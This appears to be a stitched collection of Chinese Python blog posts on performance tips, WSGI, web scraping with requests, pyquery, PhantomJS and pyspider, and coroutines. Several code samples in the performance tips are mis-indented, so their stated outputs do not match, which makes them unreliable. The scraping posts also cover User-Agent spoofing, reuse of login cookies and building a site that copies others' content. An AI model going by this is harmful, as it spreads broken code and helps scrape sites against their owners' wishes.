来源： 提高 Python 运行效率的六个窍门



                    
Python 是一门优秀的语言，它能让你在短时间内通过极少量代码就能完成许多操作。不仅如此，它还轻松支持多任务处理，比如多进程。


不喜欢 Python 的人经常会吐嘈 Python 运行太慢。但是，事实并非如此。尝试以下六个窍门，来为你的 Python 应用提速。


窍门一：关键代码使用外部功能包


Python 简化了许多编程任务，但是对于一些时间敏感的任务，它的表现经常不尽人意。使用 C/C++ 或机器语言的外部功能包处理时间敏感任务，可以有效提高应用的运行效率。这些功能包往往依附于特定的平台，因此你要根据自己所用的平台选择合适的功能包。简而言之，这个窍门要你牺牲应用的可移植性以换取只有通过对底层主机的直接编程才能获得的运行效率。以下是一些你可以选择用来提升效率的功能包：



  
	Cython

  	Pylnlne

  	PyPy

  	Pyrex

  




　

这些功能包的用处各有不同。比如说，使用C语言的数据类型，可以使涉及内存操作的任务更高效或者更直观。Pyrex 就能帮助 Python 延展出这样的功能。Pylnline 能使你在Python 应用中直接使用 C 代码。内联代码是独立编译的，但是它把所有编译文件都保存在某处，并能充分利用 C 语言提供的高效率。


窍门二：在排序时使用键


Python 含有许多古老的排序规则，这些规则在你创建定制的排序方法时会占用很多时间，而这些排序方法运行时也会拖延程序实际的运行速度。最佳的排序方法其实是尽可能多地使用键和内置的 sort() 方法。譬如，拿下面的代码来说：


import operator
somelist = [(1, 5, 8), (6, 2, 4), (9, 7, 5)]
somelist.sort(key=operator.itemgetter(0))
somelist
#Output = [(1, 5, 8), (6, 2, 4), (9, 7, 5)]
somelist.sort(key=operator.itemgetter(1))
somelist
#Output = [(6, 2, 4), (1, 5, 8), (9, 7, 5)]
somelist.sort(key=operator.itemgetter(2))
somelist
#Output = [(6, 2, 4), (9, 7, 5), (1, 5, 8)],



在每段例子里，list 都是根据你选择的用作关键参数的索引进行排序的。这个方法不仅对数值类型有效，还同样适用于字符串类型。


窍门三：针对循环的优化


每一种编程语言都强调最优化的循环方案。当使用 Python 时，你可以借助丰富的技巧让循环程序跑得更快。然而，开发者们经常遗忘的一个技巧是：尽量避免在循环中访问变量的属性。譬如，拿下面的代码来说：


lowerlist = ['this', 'is', 'lowercase']
upper = str.upper
upperlist = []
append = upperlist.append
for word in lowerlist:
    append(upper(word))
    print(upperlist)
    #Output = ['THIS', 'IS', 'LOWERCASE']



每次你调用 str.upper, Python 都会计算这个式子的值。然而，如果你把这个求值赋值给一个变量，那么求值的结果就能提前知道，Python 程序就能运行得更快。因此，关键就是尽可能减小Python在循环中的工作量。因为 Python 解释执行的特性，在上面的例子中会大大减慢它的速度。


（注意：优化循环的方法还有很多，这只是其中之一。比如，很多程序员会认为，列表推导式是提高循环速度的最佳方法。关键在于，优化循环方案是提高应用程序运行速度的上佳选择。）


窍门四：使用较新的 Python 版本


如果你在网上搜索 Python，你会发现数不尽的信息都是关于如何升级 Python 版本。通常，每个版本的 Python 都会包含优化内容，使其运行速度优于之前的版本。但是，限制因素在于，你最喜欢的函数库有没有同步更新支持新的 Python 版本。与其争论函数库是否应该更新，关键在于新的 Python 版本是否足够高效来支持这一更新。


你要保证自己的代码在新版本里还能运行。你需要使用新的函数库才能体验新的 Python 版本，然后你需要在做出关键性的改动时检查自己的应用。只有当你完成必要的修正之后，你才能体会新版本的不同。


然而，如果你只是确保自己的应用在新版本中可以运行，你很可能会错过新版本提供的新特性。一旦你决定更新，请分析你的应用在新版本下的表现，并检查可能出问题的部分，然后优先针对这些部分应用新版本的特性。只有这样，用户才能在更新之初就觉察到应用性能的改观。


窍门五：尝试多种编码方法


每次创建应用时都使用同一种编码方法几乎无一例外会导致应用的运行效率不尽人意。可以在程序分析时尝试一些试验性的办法。譬如说，在处理字典中的数据项时，你既可以使用安全的方法，先确保数据项已经存在再进行更新，也可以直接对数据项进行更新，把不存在的数据项作为特例分开处理。请看下面第一段代码：


n = 16
myDict = {}
for i in range(0, n):
    char = 'abcd'[i%4]
    if char not in myDict:
        myDict[char] = 0
        myDict[char] += 1
        print(myDict)



当一开始 myDict 为空时，这段代码会跑得比较快。然而，通常情况下，myDict 填满了数据，至少填有大部分数据，这时换另一种方法会更有效率。


n = 16
myDict = {}
for i in range(0, n):
    char = 'abcd'[i%4]
    try:
        myDict[char] += 1
    except KeyError:
        myDict[char] = 1
    print(myDict)



在两种方法中输出结果都是一样的。区别在于输出是如何获得的。跳出常规的思维模式，创建新的编程技巧能使你的应用更有效率。


窍门六：交叉编译你的应用


开发者有时会忘记计算机其实并不理解用来创建现代应用程序的编程语言。计算机理解的是机器语言。为了运行你的应用，你借助一个应用将你所编的人类可读的代码转换成机器可读的代码。有时，你用一种诸如 Python 这样的语言编写应用，再以 C++ 这样的语言运行你的应用，这在运行的角度来说，是可行的。关键在于，你想你的应用完成什么事情，而你的主机系统能提供什么样的资源。


Nuitka是一款有趣的交叉编译器，能将你的 Python 代码转化成 C++ 代码。这样，你就可以在 native 模式下执行自己的应用，而无需依赖于解释器程序。你会发现自己的应用运行效率有了较大的提高，但是这会因平台和任务的差异而有所不同。


（注意：Nuitka现在还处在测试阶段，所以在实际应用中请多加注意。实际上，当下最好还是把它用于实验。此外，关于交叉编译是否为提高运行效率的最佳方法还存在讨论的空间。开发者已经使用交叉编译多年，用来提高应用的速度。记住，每一种解决办法都有利有弊，在把它用于生产环境之前请仔细权衡。）


在使用交叉编译器时，记得确保它支持你所用的 Python 版本。Nuitka 支持Python2.6, 2.7, 3.2和3.3。为了让解决方案生效，你需要一个 Python 解释器和一个C++编译器。Nuitka 支持许多 C++ 编译器，其中包括Microsoft Visual Studio,MinGW 和 Clang/LLVM。


交叉编译可能造成一些严重问题。比如，在使用 Nuitka 时，你会发现即便是一个小程序也会消耗巨大的驱动空间。因为 Nuitka 借助一系列的动态链接库（DDLs）来执行Python 的功能。因此，如果你用的是一个资源很有限的系统，这种方法或许不太可行。


结论


前文所述的六个窍门都能帮助你创建运行更有效率的Python应用。但是银弹是不存在的。上述的这些窍门不一定每次都能奏效。在特定的Python的版本下，有的窍门或许比其他的表现更好，但这有时候甚至取决于平台的差异。你需要总结分析你的应用，找到它效率低下的部分，然后尝试这些窍门，找到解决问题的最佳方法。




本文作者系OneAPM工程师曾灵敏 ，想阅读更多好的技术文章，请访问OneAPM官方技术博客。
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WSGI是什么

WSGI的全称是Web Server Gateway Interface，翻译过来就是Web服务器网关接口。具体的来说，WSGI是一个规范，定义了Web服务器如何与Python应用程序进行交互，使得使用Python写的Web应用程序可以和Web服务器对接起来。WSGI一开始是在PEP-0333中定义的，最新版本是在Python的PEP-3333定义的。

对于初学者来说，上面那段就是废话，说了跟没说一样。本文的主要内容就是说清楚，WSGI到底是如何工作的。

为什么需要WSGI这个规范

在Web部署的方案上，有一个方案是目前应用最广泛的：


	首先，部署一个Web服务器专门用来处理HTTP协议层面相关的事情，比如如何在一个物理机上提供多个不同的Web服务（单IP多域名，单IP多端口等）这种事情。


	然后，部署一个用各种语言编写（Java, PHP, Python, Ruby等）的应用程序，这个应用程序会从Web服务器上接收客户端的请求，处理完成后，再返回响应给Web服务器，最后由Web服务器返回给客户端。




那么，要采用这种方案，Web服务器和应用程序之间就要知道如何进行交互。为了定义Web服务器和应用程序之间的交互过程，就形成了很多不同的规范。这种规范里最早的一个是CGI][3，1993年开发的。后来又出现了很多这样的规范。比如改进CGI性能的FasgCGI，Java专用的Servlet规范，还有Python专用的WSGI规范等。提出这些规范的目的就是为了定义统一的标准，提升程序的可移植性。在WSGI规范的最开始的PEP-333中一开始就描述了为什么需要WSGI规范。

WSGI如何工作

从上文可以知道，WSGI相当于是Web服务器和Python应用程序之间的桥梁。那么这个桥梁是如何工作的呢？首先，我们明确桥梁的作用，WSGI存在的目的有两个：


	让Web服务器知道如何调用Python应用程序，并且把用户的请求告诉应用程序。


	让Python应用程序知道用户的具体请求是什么，以及如何返回结果给Web服务器。




WSGI中的角色

在WSGI中定义了两个角色，Web服务器端称为server或者gateway，应用程序端称为application或者framework（因为WSGI的应用程序端的规范一般都是由具体的框架来实现的）。我们下面统一使用server和application这两个术语。

server端会先收到用户的请求，然后会根据规范的要求调用application端，如下图所示：



调用的结果会被封装成HTTP响应后再发送给客户端。

server如何调用application

首先，每个application的入口只有一个，也就是所有的客户端请求都同一个入口进入到应用程序。

接下来，server端需要知道去哪里找application的入口。这个需要在server端指定一个Python模块，也就是Python应用中的一个文件，并且这个模块中需要包含一个名称为application的可调用对象（函数和类都可以），这个application对象就是这个应用程序的唯一入口了。WSGI还定义了application对象的形式：

def simple_app(environ, start_response):
      pass

上面代码中的environ和start_response就是server端调用application对象时传递的两个参数。

我们来看具体的例子。假设我们的应用程序的入口文件是/var/www/index.py，那么我们就需要在server端配置好这个路径（如何配置取决于server端的实现），然后在index.py中的代码如下所示：

使用标准库（这个只是demo）

import wsgiref

application = wsgiref.simple_server.demo_app

使用web.py框架

import web

urls = (
    '/.*', 'hello',
)

class hello(object):
    def GET(self):
        return "Hello, world."

application = web.application(urls, globals()).wsgifunc()

你可以看到，文件中都需要有一个application对象，server端会找到这个文件，然后调用这个对象。所以支持WSGI的Python框架最终都会有这么一个application对象，不过框架的使用者不需要关心这个application对象内部是如何工作的，只需要关心路由定义、请求处理等具体的业务逻辑。

因为application对象是唯一的入口，所以不管客户端请求的路径和数据是什么，server都是调用这个application对象，具体的客户端请求的处理有application对象完成。

application对象需要做什么

上面已经提到了，application对象需要是一个可调用对象，而且其定义需要满足如下形式：

def simple_app(environ, start_response):
      pass

当server按照WSGI的规范调用了application之后，application就可以开始处理客户端的请求了，处理请求之后，application对象需要返回处理结果给server端。处理请求和返回结果这两个事情，都和server调用application对象时传递的两个参数有关。

environ参数

environ参数是一个Python的字典，里面存放了所有和客户端相关的信息，这样application对象就能知道客户端请求的资源是什么，请求中带了什么数据等。environ字典包含了一些CGI规范要求的数据，以及WSGI规范新增的数据，还可能包含一些操作系统的环境变量以及Web服务器相关的环境变量。我们来看一些environ中常用的成员：

首先是CGI规范中要求的变量：


	REQUEST_METHOD： 请求方法，是个字符串，'GET', 'POST'等


	SCRIPT_NAME： HTTP请求的path中的用于查找到application对象的部分，比如Web服务器可以根据path的一部分来决定请求由哪个virtual host处理


	PATH_INFO： HTTP请求的path中剩余的部分，也就是application要处理的部分


	QUERY_STRING： HTTP请求中的查询字符串，URL中?后面的内容


	CONTENT_TYPE： HTTP headers中的content-type内容


	CONTENT_LENGTH： HTTP headers中的content-length内容


	SERVER_NAME和SERVER_PORT： 服务器名和端口，这两个值和前面的SCRIPT_NAME, PATH_INFO拼起来可以得到完整的URL路径


	SERVER_PROTOCOL： HTTP协议版本，HTTP/1.0或者HTTP/1.1


	HTTP_：  和HTTP请求中的headers对应。




WSGI规范中还要求environ包含下列成员：


	wsgi.version：表示WSGI版本，一个元组(1, 0)，表示版本1.0


	wsgi.url_scheme：http或者https


	wsgi.input：一个类文件的输入流，application可以通过这个获取HTTP request body


	wsgi.errors：一个输出流，当应用程序出错时，可以将错误信息写入这里


	wsgi.multithread：当application对象可能被多个线程同时调用时，这个值需要为True


	wsgi.multiprocess：当application对象可能被多个进程同时调用时，这个值需要为True


	wsgi.run_once：当server期望application对象在进程的生命周期内只被调用一次时，该值为True




上面列出的这些内容已经包括了客户端请求的所有数据，足够application对象处理客户端请求了。

start_resposne参数

start_response是一个可调用对象，接收两个必选参数和一个可选参数：


	status: 一个字符串，表示HTTP响应状态字符串


	response_headers: 一个列表，包含有如下形式的元组：(header_name, header_value)，用来表示HTTP响应的headers


	exc_info（可选）: 用于出错时，server需要返回给浏览器的信息




当application对象根据environ参数的内容执行完业务逻辑后，就需要返回结果给server端。我们知道HTTP的响应需要包含status，headers和body，所以在application对象将body作为返回值return之前，需要先调用start_response()，将status和headers的内容返回给server，这同时也是告诉server，application对象要开始返回body了。

application对象的返回值

application对象的返回值用于为HTTP响应提供body，如果没有body，那么可以返回None。如果有body的化，那么需要返回一个可迭代的对象。server端通过遍历这个可迭代对象可以获得body的全部内容。

application demo

PEP-3333中有一个application的实现demo，我把它再简化之后如下：

def simple_app(environ, start_response):
      status = '200 OK'
      response_headers = [('Content-type', 'text/plain')]
      start_response(status, response_headers)
      return ['hello, world']

可以将这段代码和前面的说明对照起来理解。

再谈server如何调用application

前面已经知道server如何定位到application的入口了，也知道了application的入口的形式以及application对象内部需要完成的工作。那么，我们还需要再说一下，environ和start_response()是需要在server端的生成和定义的，其中关于start_response()的部分在规范中也有明确的要求。这部分内容太长了，不适合放在本文中，有兴趣的读者可以去看下PEP-3333，里面有一段server端的demo实现。

WSGI中间件

WSGI Middleware（中间件）也是WSGI规范的一部分。上一章我们已经说明了WSGI的两个角色：server和application。那么middleware是一种运行在server和application中间的应用（一般都是Python应用）。middleware同时具备server和application角色，对于server来说，它是一个application；对于application来说，它是一个server。middleware并不修改server端和application端的规范，只是同时实现了这两个角色的功能而已。

我们可以通过下图来说明middleware是如何工作的：



上图中最上面的三个彩色框表示角色，中间的白色框表示操作，操作的发生顺序按照1 ~ 5进行了排序，我们直接对着上图来说明middleware是如何工作的：


	Server收到客户端的HTTP请求后，生成了environ_s，并且已经定义了start_response_s。


	Server调用Middleware的application对象，传递的参数是environ_s和start_response_s。


	Middleware会根据environ执行业务逻辑，生成environ_m，并且已经定义了start_response_m。


	Middleware决定调用Application的application对象，传递参数是environ_m和start_response_m。Application的application对象处理完成后，会调用start_response_m并且返回结果给Middleware，存放在result_m中。


	Middleware处理result_m，然后生成result_s，接着调用start_response_s，并返回结果result_s给Server端。Server端获取到result_s后就可以发送结果给客户端了。




从上面的流程可以看出middleware应用的几个特点：


	Server认为middleware是一个application。


	Application认为middleware是一个server。


	Middleware可以有多层。




因为Middleware能过处理所有经过的request和response，所以要做什么都可以，没有限制。比如可以检查request是否有非法内容，检查response是否有非法内容，为request加上特定的HTTP header等，这些都是可以的。

WSGI的实现和部署

要使用WSGI，需要分别实现server角色和application角色。

Application端的实现一般是由Python的各种框架来实现的，比如Django, web.py等，一般开发者不需要关心WSGI的实现，框架会会提供接口让开发者获取HTTP请求的内容以及发送HTTP响应。

Server端的实现会比较复杂一点，这个主要是因为软件架构的原因。一般常用的Web服务器，如Apache和nginx，都不会内置WSGI的支持，而是通过扩展来完成。比如Apache服务器，会通过扩展模块mod_wsgi来支持WSGI。Apache和mod_wsgi之间通过程序内部接口传递信息，mod_wsgi会实现WSGI的server端、进程管理以及对application的调用。Nginx上一般是用proxy的方式，用nginx的协议将请求封装好，发送给应用服务器，比如uWSGI，应用服务器会实现WSGI的服务端、进程管理以及对application的调用。
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上回，我装了环境

也就是一对乱七八糟的东西

装了pip，用pip装了virtualenv，建立了一个virtualenv，在这个virtualenv里面，装了Django，创建了一个Django项目，在这个Django项目里面创建了一个叫做web的阿皮皮。


接上回～


第二部分，编写爬虫。


工欲善其事，必先利其器。


bashapt-get install vim # 接上回，我们在screen里面是root身份哦～



当然了，现在我要想一个采集的目标，为了方便，我就选择segmentfault吧，这网站写博客不错，就是在海外上传图片有点慢。


这个爬虫，就像我访问一样，要分步骤来。 我先看到segmentfault首页，然后发现里面有很多tags，每个tags下面，才是一个一个的问题的内容。


所以，爬虫也要分为这几个步骤来写。 但是我要反着写，先写内容爬虫，再写分类爬虫, 因为我想。


2.1 编写内容爬虫


首先，给爬虫建立个目录，在项目里面和app同级，然后把这个目录变成一个python的package


bashmkdir ~/python_spider/sfspider
touch ~/python_spider/sfspider/__init__.py



以后，这个目录就叫爬虫包了


在爬虫包里面建立一个spider.py用来装我的爬虫们


bashvim ~/python_spider/sfspider/spider.py



一个基本的爬虫，只需要下面几行代码：


（代码下面会提供）

然后呢，就可以玩玩我们的“爬虫”了。

进入python shell


python>>> from sfspider import spider
>>> s = spider.SegmentfaultQuestionSpider('1010000002542775')
>>> s.url
>>> 'http://segmentfault.com/q/1010000002542775'
>>> print s.dom('h1#questionTitle').text()
>>> 微信JS—SDK嵌套选择图片和上传图片接口，实现一键上传图片，遇到问题



看吧，我现在已经可以通过爬虫获取segmentfault的提问标题了。下一步，为了简化代码，我把标题，回答等等的属性都写为这个蜘蛛的属性。代码如下


python# -*- coding: utf-8 -*-
import requests # requests作为我们的html客户端
from pyquery import PyQuery as Pq # pyquery来操作dom


class SegmentfaultQuestionSpider(object):

    def __init__(self, segmentfault_id): # 参数为在segmentfault上的id
        self.url = 'http://segmentfault.com/q/{0}'.format(segmentfault_id)
        self._dom = None # 弄个这个来缓存获取到的html内容，一个蜘蛛应该之访问一次

    @property
    def dom(self): # 获取html内容
        if not self._dom:
            document = requests.get(self.url)
            document.encoding = 'utf-8'
            self._dom = Pq(document.text)
        return self._dom

    @property 
    def title(self): # 让方法可以通过s.title的方式访问 可以少打对括号
        return self.dom('h1#questionTitle').text() # 关于选择器可以参考css selector或者jquery selector, 它们在pyquery下几乎都可以使用

    @property
    def content(self):
        return self.dom('.question.fmt').html() # 直接获取html 胆子就是大 以后再来过滤

    @property
    def answers(self):
        return list(answer.html() for answer in self.dom('.answer.fmt').items()) # 记住，Pq实例的items方法是很有用的

    @property
    def tags(self):
        return self.dom('ul.taglist--inline > li').text().split() # 获取tags，这里直接用text方法，再切分就行了。一般只要是文字内容，而且文字内容自己没有空格,逗号等，都可以这样弄，省事。




然后，再把玩一下升级后的蜘蛛。


python>>> from sfspider import spider
>>> s = spider.SegmentfaultQuestionSpider('1010000002542775')
>>> print s.title
>>> 微信JS—SDK嵌套选择图片和上传图片接口，实现一键上传图片，遇到问题
>>> print s.content
>>> # [故意省略] #
>>> for answer in s.answers
        print answer
>>> # [故意省略] #
>>> print '/'.join(s.tags)
>>> 微信js-sdk/python/微信开发/javascript



OK，现在我的蜘蛛玩起来更方便了。


2.2 编写分类爬虫


下面，我要写一个抓取标签页面的问题的爬虫。

代码如下， 注意下面的代码是添加在已有代码下面的， 和之前的最后一行之间 要有两个空行


pythonclass SegmentfaultTagSpider(object):

    def __init__(self, tag_name, page=1):
        self.url = 'http://segmentfault.com/t/%s?type=newest&page=%s' % (tag_name, page)
        self.tag_name = tag_name
        self.page = page
        self._dom = None

    @property
    def dom(self):
        if not self._dom:
            document = requests.get(self.url)
            document.encoding = 'utf-8'
            self._dom = Pq(document.text)
            self._dom.make_links_absolute(base_url="http://segmentfault.com/") # 相对链接变成绝对链接 爽
        return self._dom


    @property
    def questions(self):
        return [question.attr('href') for question in self.dom('h2.title > a').items()]

    @property
    def has_next_page(self): # 看看还有没有下一页，这个有必要
        return bool(self.dom('ul.pagination > li.next')) # 看看有木有下一页

    def next_page(self): # 把这个蜘蛛杀了， 产生一个新的蜘蛛 抓取下一页。 由于这个本来就是个动词，所以就不加@property了
        if self.has_next_page:
            self.__init__(tag_name=self.tag_name ,page=self.page+1)
        else:
            return None




现在可以两个蜘蛛一起把玩了，就不贴出详细把玩过程了。。。


python>>> from sfspider import spider
>>> s = spider.SegmentfaultTagSpider('微信')
>>> question1 = s.questions[0]
>>> question_spider = spider.SegmentfaultQuestionSpider(question1.split('/')[-1])
>>> # [故意省略] #



想做小偷站的，看到这里基本上就能搞出来了。 套个模板 加一个简单的脚本来接受和返回请求就行了。


未完待续。
下一篇，采集入库！
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一直断断续续的用过几次 OpenCV，感觉熟练掌握它的使用方法已经变的非常必要了，正好找到一个很不错的英文教程，就以此为起点，详细记录一下对 OpenCV 的学习过程吧。

Update:

这段时间通过使用了OpenCV之后，发现了很多实际操作过程中的问题，所以再次更新一下这些文章。

首先就是关于文章中示例代码，一直使用的是cv2.cv，但其实这个是老版本的cv，新版本的应该用cv2，cv2是基于cv2.cv的基础上的扩展，是的对图像的操作和运算更方便，所以我这里推荐使用cv2。

目录
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	第五节：运动方向判断
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 Python利用Phantomjs抓取渲染JS后的网页

作者：2shou

来源： Python利用Phantomjs抓取渲染JS后的网页



                    
最近需要爬取某网站，无奈页面都是JS渲染后生成的，普通的爬虫框架搞不定，于是想到用Phantomjs搭一个代理。


Python调用Phantomjs貌似没有现成的第三方库（如果有，请告知小2），漫步了一圈，发现只有pyspider提供了现成的方案。


简单试用了一下，感觉pyspider更像一个为新手打造的爬虫工具，好比一个老妈子，有时无微不至，有时喋喋不休。

轻巧的小工具应该更受人喜爱，我也怀着一点私心，可以带着我最爱的BeautifulSoup一块儿用，而不用再学PyQuery（pyspider用来解析HTML），更不用忍受浏览器写Python的糟糕体验（偷笑）。


所以花了一个下午的时间，把pyspider当中实现Phantomjs代理的部分拆了出来，独立成一个小的爬虫模块，希望大家会喜欢（感谢binux！）。


准备工作



	你当然要有Phantomjs，废话！（Linux下最好用supervisord守护，必须保持抓取的时候Phantomjs一直处于开启状态）

	用项目路径下的phantomjs_fetcher.js启动：phantomjs phantomjs_fetcher.js [port]


	安装tornado依赖（使用了tornado的httpclient模块）



调用是超级简单的


pythonfrom tornado_fetcher import Fetcher

# 创建一个爬虫
>>> fetcher=Fetcher(
    user_agent='phantomjs', # 模拟浏览器的User-Agent
    phantomjs_proxy='http://localhost:12306', # phantomjs的地址
    poolsize=10, # 最大的httpclient数量
    async=False # 同步还是异步
    )
# 开始连接Phantomjs的代理，可以渲染JS！
>>> fetcher.phantomjs_fetch(url)
# 渲染成功后执行额外的JS脚本（注意用function包起来！）
>>> fetcher.phantomjs_fetch(url, js_script='function(){setTimeout("window.scrollTo(0,100000)}", 1000)')



老规矩，代码在小2的Github了，欢迎指正：PhantomjsFetcher



  来自：建造者说




 pyspider 爬虫教程（二）：AJAX 和 HTTP

作者：足兆叉虫

来源： pyspider 爬虫教程（二）：AJAX 和 HTTP



                    
在上一篇教程中，我们使用 self.crawl API 抓取豆瓣电影的 HTML 内容，并使用 CSS 选择器解析了一些内容。不过，现在的网站通过使用 AJAX 等技术，在你与服务器交互的同时，不用重新加载整个页面。但是，这些交互手段，让抓取变得稍微难了一些：你会发现，这些网页在抓回来后，和浏览器中的并不相同。你需要的信息并不在返回 HTML 代码中。


在这一篇教程中，我们会讨论这些技术 和 抓取他们的方法。（英文版：AJAX-and-more-HTTP）


AJAX


AJAX 是 Asynchronous JavaScript and XML（异步的 JavaScript 和 XML）的缩写。AJAX 通过使用原有的 web 标准组件，实现了在不重新加载整个页面的情况下，与服务器进行数据交互。例如在新浪微博中，你可以展开一条微博的评论，而不需要重新加载，或者打开一个新的页面。但是这些内容并不是一开始就在页面中的（这样页面就太大了），而是在你点击的时候被加载进来的。这就导致了你抓取这个页面的时候，并不能获得这些评论信息（因为你没有『展开』）。


AJAX 的一种常见用法是使用 AJAX 加载 JSON 数据，然后在浏览器端渲染。如果能直接抓取到 JSON 数据，会比 HTML 更容易解析。


当一个网站使用了 AJAX 的时候，除了用 pyspider 抓取到的页面和浏览器看到的不同以外。你在浏览器中打开这样的页面，或者点击『展开』的时候，常常会看到『加载中』或者类似的图标/动画。例如，当你尝试抓取：http://movie.douban.com/explore





你会发现电影是『载入中...』


找到真实的请求


由于 AJAX 实际上也是通过 HTTP 传输数据的，所以我们可以通过 Chrome Developer Tools 找到真实的请求，直接发起真实请求的抓取就可以获得数据了。



	打开一个新窗口

	按 Ctrl+Shift+I (在 Mac 上请按 Cmd+Opt+I) 打开开发者工具。

	切换到网络（ Netwotk 面板）

	在窗口中打开 http://movie.douban.com/explore




在页面加载的过程中，你会在面板中看到所有的资源请求。





AJAX 一般是通过 XMLHttpRequest 对象接口发送请求的，XMLHttpRequest 一般被缩写为 XHR。点击网络面板上漏斗形的过滤按钮，过滤出 XHR 请求。挨个查看每个请求，通过访问路径和预览，找到包含信息的请求：http://movie.douban.com/j/searchX61Xsubjects?type=movie&tag=%E7%83%AD%E9%97%A8&sort=recommend&page_limit=20&page_start=0





在豆瓣这个例子中，XHR 请求并不多，可以挨个查看来确认。但在 XHR 请求较多的时候，可能需要结合触发动作的时间，请求的路径等信息帮助在大量的请求中找到包含信息的关键请求。这需要抓取或者前端的相关经验。所以，有一个我一直在提的观点，学习抓取的最好方法是：学会写网站。


现在可以在新窗口中打开 http://movie.douban.com/j/searchX67Xsubjects?type=movie&tag=%E7%83%AD%E9%97%A8&sort=recommend&page_limit=20&page_start=0，你会看到包含电影数据的 JSON 原始数据。推荐安装 JSONView（Firfox版）插件，这样可以看到更好看的 JSON 格式，展开折叠列等功能。然后，我们根据 JSON 数据，编写一个提取电影名和评分的脚本：


pythonclass Handler(BaseHandler):
    def on_start(self):
        self.crawl('http://movie.douban.com/j/search_subjects?type=movie&tag=%E7%83%AD%E9%97%A8&sort=recommend&page_limit=20&page_start=0',
                   callback=self.json_parser)

    def json_parser(self, response):
        return [{
            "title": x['title'],
            "rate": x['rate'],
            "url": x['url']
        } for x in response.json['subjects']]




  
	你可以使用 response.json 将结果转为一个 python 的 dict 对象

  




你可以在 http://demo.pyspider.org/debug/tutorial_douban_explore 获得完整的代码，并进行调试。脚本中还有一个使用 PhantomJS 渲染的提取版本，将会在下一篇教程中介绍。


HTTP


HTTP 是用来传输网页内容的协议。在前面的教程中，我们已经通过 self.crawl 接口提交了 URL 进行了抓取。这些抓取就是通过 HTTP 协议传输的。


在抓取过程中，你可能会遇到类似 403 Forbidden，或者需要登录的情况，这时候你就需要正确的 HTTP 参数进行抓取了。


一个典型的 HTTP 请求包如下，这个请求是发往 http://example.com/ 的：


httpGET / HTTP/1.1
Host: example.com
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.45 Safari/537.36
Referer: http://en.wikipedia.org/wiki/Example.com
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
If-None-Match: "359670651"
If-Modified-Since: Fri, 09 Aug 2013 23:54:35 GMT




  
	请求的第一行包含 method, path 和 HTTP 协议的版本信息

  	余下的行被称为 header，是以 key: value 的形式呈现的

  	如果是 POST 请求，在请求结尾可能还会有 body 内容

  




你可以通过前面用过的 Chrome Developer Tools 工具查看到这些信息：





在大多数时候，使用正确的 method, path, headers 和 body 总是能抓取到你需要的信息的。


HTTP Method


HTTP Method 告诉服务器对 URL 资源期望进行的操作。例如在打开一个 URL 的时候使用的是 GET 方式，而在提交数据的时候一般使用 POST。


TODO： need example here


HTTP Headers


HTTP Headers 是请求所带的一个参数列表，你可以在 这里 找到完整的常用 Headers 列表。一些常用的需要注意的有：


User-Agent


UA 是标识你使用的浏览器，或抓取程序的一段字符串。pyspider 使用的默认 UA 是 pyspider/VERSION (+http://pyspider.org/)。网站常用这个字符串来区分用户的操作系统和浏览器，以及判断对方是否是爬虫。所以在抓取的时候，常常会对 UA 进行伪装。


在 pyspider 中，你可以通过 self.crawl(URL, headers={'User-Agent': 'pyspider'})，或者是 crawl_config = {'headers': {'User-Agent': 'xxxx'}} 来指定脚本级别的 UA。详细请查看 API 文档。


Referer


Referer 用于告诉服务器，你访问的上一个网页是什么。常常被用于防盗链，在抓取图片的时候可能会用到。


X-Requested-With


当使用 XHR 发送 AJAX 请求时会带上的 Header，常被用于判断是不是 AJAX 请求。例如在 北邮人论坛 中，你需要：


python    def on_start(self):
        self.crawl('http://bbs.byr.cn/board/Python',
                   headers={'X-Requested-With': 'XMLHttpRequest'},
                   callback=self.index_page)



带有 headers={'X-Requested-With': 'XMLHttpRequest'} 才能抓取到内容。


HTTP Cookie


虽然 Cookie 只是 HTTP Header 中的一个，但是因为非常重要，但是拿出来说一下。Cookie 被 HTTP 请求用来区分、追踪用户的身份，当你在一个网站登录的时候，就是通过写入 Cookie 字段来记录登录状态的。


当遇到需要登录的网站，你需要通过设置 Cookie 参数，来请求需要登录的内容。Cookie 可以通过开发者工具的请求面板，或者是资源面板中获得。在 pyspider 中，你也可以使用 response.cookies 获得返回的 cookie，并使用 self.crawl(URL, cookie={'key': 'value'}) 来设置请求的 Cookie 参数。




原文：http://blog.binux.me/2015/01/pyspider-tutorial-level-2-ajax-and-more-http/


 异步等待的 Python 协程

作者：OneAPM蓝海讯通

来源： 异步等待的 Python 协程



                    
现在 Python 已经支持用协程进行异步处理。但最近有建议称添加协程以全面完善 Python 的语言结构，而不是像现在这样把他们作为生成器的一个类型。此外，两个新的关键字———异步(async)和等待(await)，都该添加到 Python 中来支持协程。



也许有人不太了解协程，其实协程的原理很简单，打个比方就能讲明白了：假设有十个人去食堂打饭，这个食堂比较穷，只有一个打饭窗口和一个打饭阿姨，那么打饭就只能一个一个排队进行。这十个人胃口很大，每个人都要点5个菜，但这十个人都喜欢犹豫不决，点菜的时候每点一个菜后再想下一个菜点什么，因此后面的人等得很着急呀。

这样一直站着也不是个事儿，所以打菜的阿姨看到某人犹豫5秒后就会吼一声，让他排到队伍末尾，让别人先打菜，等轮到他的时候他也差不多想好吃什么了。这确实是个不错的方法，但也有一个缺点，那就是打菜的阿姨会等每个人5秒钟，如果那个人在5秒内没有做出决定吃啥，其实这5秒就浪费了。一个人点一个菜就是浪费5秒，十个人每个人点5个菜可就浪费的多啦「菜都凉了要」。

那怎么办呢？阿姨又发话了：大家都是学生，学生就要自觉，我以后也不主动让你们排到末尾了，如果你们觉得自己会犹豫不决，就主动点直接点一个菜就站后面去，等下次排到的时候也差不多想好吃啥了。

这个方法果然有效，大家点了菜后想的第一件事情不是下一个菜吃什么，而是自己会不会犹豫，如果会犹豫那直接排到队伍后面去，如果不会就接着点菜。这样一来整个队伍的效率自然就高了。

这个例子里，排队阿姨的那声吼就是我们的 CPU 中断，用于切换上下文。每个打饭的学生就是一个 task。而每个人决定自己要不要让出窗口的这种行为，其实就是我们协程的核心思想。

